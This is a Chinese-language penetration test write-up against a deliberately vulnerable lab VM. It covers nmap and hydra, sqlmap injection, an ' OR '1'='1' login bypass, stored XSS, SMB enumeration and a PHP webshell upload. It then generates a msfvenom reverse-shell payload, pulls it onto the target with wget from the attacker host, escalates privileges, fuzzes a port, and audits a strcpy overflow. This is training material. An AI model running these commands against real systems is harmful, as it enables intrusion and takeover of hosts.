1.22 靶场渗透报告

是一个打包好的镜像文件

直接用 VMware打开,选择我已移动不然没网

信息收集

1.1 arp scan -l寻找目标靶机的 IP 地址

img

1.2 使用 Nmap 扫描出开放服务及操作系统版本

使用 nmap -sS -sV -sC -p- 192.168.5.136 扫描端口开放的服务和版本

img

1.3 开放的端口有

端口 服务 版本
22 SSH OpenSSH 5.1p1 Debian 5
25 SMTP Exim smtpd 4.50
80 HTTP Apache 2.2.9 + PHP 5.2.6 + Suhosin-Patch
139/445 SMB Samba 3.X-4.X
3306 MySQL 5.0.51a-24+lenny4
7777 未知服务 无明确版本

1.4 扫描目录

img

漏洞分析

2.1 ssh弱口令爆破

先自己写了一个用户名的字典echo -e "root\nadmin\ndebian\nwww-data\nmysql" > /tmp/debian_users.txt

再用hydra暴力破解 hydra -L /tmp/debian_users.txt -P /usr/share/wordlists/rockyou.txt -t 4 192.168.5.136 ssh

但是这个 ssh 版本太老了所以没有成功

img

2.2 80端口 http://192.168.5.136/admin/post.php 的 sql 注入

2.2.1注入点在 username(sql 1 )

img

输入 ‘ 尝试闭合发现报错

说明存在 sql 注入

img

而且 url中没有回显,是 post 传参

使用 burpsuit抓包

发现传的参数有好几个:

img

把这个请求包保存到 flag.txt 文件中

使用 sqlmap 测试 username sqlmap -r flag.txt -p username

发现存在布尔盲注和时间盲注

img

尝试脱库

1
sqlmap -r flag.txt -p username --dbs

但是失败了可能权限不够,或者盲注连接失败

img

2.2.1 注入点在 password(sql 2 )

使用 sqlmap 测试 username sqlmap -r flag.txt -p password

发现存在时间盲注

img

尝试脱库

1
sqlmap -r flag.txt -p password --dbs

但是失败了可能权限不够,或者盲注连接失败

img

2.3 80端口 http://192.168.5.136/admin/profile.php 的 sql 注入

2.3.1注入点在 username(sql 3 )

img

输入 ‘ 尝试闭合发现报错

说明存在 sql 注入

img

而且 url中没有回显,是 post 传参

使用 burpsuit抓包

发现传的参数有好几个:

img

把这个请求包保存到 flag.txt 文件中

使用 sqlmap 测试 username sqlmap -r flag.txt -p username

发现存在布尔盲注和时间盲注

img

尝试脱库

1
sqlmap -r flag.txt -p username --dbs

但是失败了可能权限不够,或者盲注连接失败

img

2.3.2 注入点在 password (sql 4 )

使用 sqlmap 测试 username sqlmap -r flag.txt -p password

发现存在时间盲注

img

尝试脱库

1
sqlmap -r flag.txt -p password --dbs

但是失败了可能权限不够,或者盲注连接失败

img

2.4 80端口 http://192.168.5.136/view 的sql注入

这个页面回显有问题

说是缺少 id

img

加上 id

明显是一个 get 请求的 sql 注入

img

2.4 sql注入万能密码

既然无法脱库,那就利用注入点使用万能密码,登录进去完成这个表单的功能

1
2
Username = admin
Password = ' OR '1'='1' #

成功登录

img

img

2.5 xss

存储型xss(1)

在登录的时候在 body 里面加入 xss 恶意代码

1
<script>alert(1)</script>

img

回到 http://192.168.5.136/myblog.php 这个页面就会出现 弹窗

img

存储型xss(2)

在另一个登录页面同样这样执行

img

回到 http://192.168.5.136/myblog.php 这个页面就会出现 弹窗

img

2.6 SMB 服务(139/445)SMB 允许 guest 匿名访问

报告显示 SMB 允许 guest 匿名访问,且 Samba 版本老旧,这是最高优先级目标:

第一步:枚举共享目录

1
smbclient -L //192.168.5.136 -N  # -N 表示无需密码

img

这两个文件用处不大

RCE (新增加)

1
http://192.168.5.136/admin/profile.php

里面有隐藏参数,可以传文件到http://192.168.5.136/profile``s 这里面

img

用万能密码绕过,抓包看看

可以传文件 后缀也是自己可以改的

传一个一句话木马的 webshell

img

发现这个参数就是上传文件的

我们传一个一句话木马的 webshell 文件

img

用蚁剑去连接

img

查看内核版本,内核渗透

img

使用msfconsole 模块的 linux/x86/meterpreter/reverse_tcp 获取一个脚本文件

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.202.128 LPORT=4444 -f elf -o exp.elf

img

开启 HTTP 协议,把木马文件传到目标靶机

img

在靶机终端用 wget ``http://192.168.5.130:7894/exp.elf 获取

再用 chmod + x exp.elf 赋予更高的权限,确保能正常的执行

img

msfconsole 中监听

img

提权(新增加)

先保存这个会话ctrl+z

img

msfconsole 自带的后渗透模块提权 use post/multi/recon/local_exploit_suggester

需要的参数是会话

我们查看会话是否还在

然后设置参数运行

运行结果中第三个百分百成功

img

img

use 它然后执行

设置参数,注意 端口一定要换,因为我们的4444 端口已经被占用了

提权成功

img

img

2.7 7777可疑端口,可能存在 缓冲区溢出

尝试 协议模糊测试

1
nc 192.168.5.136 7777

发现可以输入东西并且会有回显

img

先怀疑可能可以执行代码

输入 cmd = ls

发现只是单纯读取了输入

img

再尝试缓冲区溢出

一直传很多数据

一直到 100000 个A 的时候出现报错

但是只是客户让客户端崩溃,属于 DDOS 攻击

img

写一个脚本递增的去输入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket,time,sys
mystr = "A"
i=1
while True:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("192.168.5.136", 7777))
msg = (mystr*100*i).encode('utf-8')
client.send(msg)
print("[+]"+str(i*100)+"个字节已发送")
i+=1
client.close()
time.sleep(3)
except:
print("连接终止")
sys.exit()

结果它把数据分段传输了

做了限制

img

2.8 敏感文件泄露

img

扫描的目录有一个http://192.168.5.136/repo/`` 里面有一个

buffd.c

img

2.9 代码审计

对这个.c 文件源码做审计

缓冲区溢出漏洞(高危)

1. vulnerable 函数中的栈缓冲区溢出
1
void vulnerable(char *net_buffer){char local_buffer[120];strcpy(local_buffer, net_buffer); // 核心漏洞点return;}
  • 问题根源strcpy 是不安全的字符串拷贝函数,不会检查目标缓冲区(local_buffer,长度 120 字节)和源缓冲区(net_buffer,长度 2048 字节)的长度。当 net_buffer 中接收的网络数据超过 120 字节时,会覆盖 local_buffer 所在的栈空间(包括栈帧、返回地址等)。
  • 危害:攻击者可构造超长输入覆盖栈上的返回地址,执行任意代码(如获取服务器权限、植入恶意程序)。
  1. 其他字符串操作的溢出风险
1
strcpy(out_buffer, "RECV: ");strcat(out_buffer, net_buffer);

out_buffer 仅 20 字节,strcpy + strcat 组合未检查总长度:若 net_buffer 内容过长,会导致 out_buffer 溢出,破坏相邻内存。

二、内存操作不规范

  1. 内存初始化长度错误
1
memset(net_buffer, 0, 1024);

net_buffer 定义为 char net_buffer[2048];,但 memset 仅初始化前 1024 字节,剩余 1024 字节未初始化,可能包含随机内存数据,存在信息泄露风险。

2. recv 返回值未校验
1
if (recv(new_fd, net_buffer, 1024, 0))

recv 的返回值规则:

  • 成功:返回接收的字节数;
  • 失败:返回 -1
  • 连接关闭:返回 0。当前代码仅判断 “非 0”,若 recv 返回 -1(接收失败),仍会执行 vulnerable(net_buffer),可能使用无效的 net_buffer 数据触发异常